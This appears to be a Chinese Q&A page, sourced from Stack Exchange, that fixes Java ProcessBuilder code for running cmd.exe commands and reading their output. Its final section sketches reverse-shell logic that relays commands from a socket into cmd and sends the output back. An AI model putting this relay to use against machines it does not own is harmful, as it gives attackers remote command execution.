使用ProcessBuilder执行cmd命令遇阻:无法执行并获取结果求助
解决ProcessBuilder调用cmd.exe无法执行命令并获取结果的问题
原代码存在的问题
- 启动cmd.exe时未指定执行模式:cmd默认是交互模式,仅写入命令不触发回车的话,进程不会执行命令;如果是单次执行命令,应该用
/c参数让cmd执行后直接退出。 - 提前读取输入流单个字节:
p.getInputStream().read()会消耗输入流的第一个字节,导致后续BufferedReader无法获取完整输出。 - 命令未触发执行:写入
dir后没有加换行(回车),也没有刷新输出流,cmd收不到完整的执行信号。 - 输出读取逻辑错误:while循环里先读取一行到
readLine,循环内又调用readLine()打印,导致每两行只输出一行。 - 冗余Socket代码:当前逻辑中Socket未被使用,属于无效代码。
修复后的代码方案
方案1:单次执行命令(推荐,无需交互)
直接通过ProcessBuilder指定cmd和要执行的命令,用/c参数让cmd执行后退出:
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; public class rev { public static void main(String args[]) throws InterruptedException, IOException { // 构造cmd命令:/c 表示执行后续命令后退出cmd Process p = new ProcessBuilder("cmd.exe", "/c", "dir").redirectErrorStream(true).start(); BufferedReader read = new BufferedReader(new InputStreamReader(p.getInputStream())); String readLine; // 逐行读取并打印输出 while ((readLine = read.readLine()) != null) { System.out.println(readLine); } // 等待进程结束,获取退出码(0表示执行成功) int exitCode = p.waitFor(); System.out.println("进程退出码: " + exitCode); } }
方案2:交互模式执行命令(适合多次输入命令)
如果需要保持cmd交互状态,多次发送命令,需要确保命令发送后加换行并刷新输出流:
import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.IOException; import java.io.InputStreamReader; import java.io.OutputStreamWriter; public class rev { public static void main(String args[]) throws InterruptedException, IOException { // 启动交互模式的cmd.exe Process p = new ProcessBuilder("cmd.exe").redirectErrorStream(true).start(); BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(p.getOutputStream())); BufferedReader read = new BufferedReader(new InputStreamReader(p.getInputStream())); // 发送命令,必须加换行(\n),并调用flush确保命令发送到cmd进程 writer.write("dir\n"); writer.flush(); String readLine; while ((readLine = read.readLine()) != null) { System.out.println(readLine); // 执行完dir后发送exit命令退出cmd if (readLine.contains("命令成功完成")) { writer.write("exit\n"); writer.flush(); break; } } int exitCode = p.waitFor(); System.out.println("进程退出码: " + exitCode); } }
额外说明
如果你的需求是实现反向shell(通过Socket传输命令和结果),可以在读取cmd输出后,将内容写入Socket的OutputStream,同时从Socket的InputStream读取远程命令,发送给cmd进程。核心逻辑示例:
// 假设已建立Socket连接s OutputStream socketOut = s.getOutputStream(); InputStream socketIn = s.getInputStream(); // 读取cmd输出并发送到Socket String outputLine; while ((outputLine = read.readLine()) != null) { socketOut.write((outputLine + "\n").getBytes()); socketOut.flush(); } // 读取Socket传来的命令并发送给cmd BufferedReader socketRead = new BufferedReader(new InputStreamReader(socketIn)); String cmdLine; while ((cmdLine = socketRead.readLine()) != null) { writer.write(cmdLine + "\n"); writer.flush(); }
内容的提问来源于stack exchange,提问作者Jehad
相关产品推荐
相关产品推荐

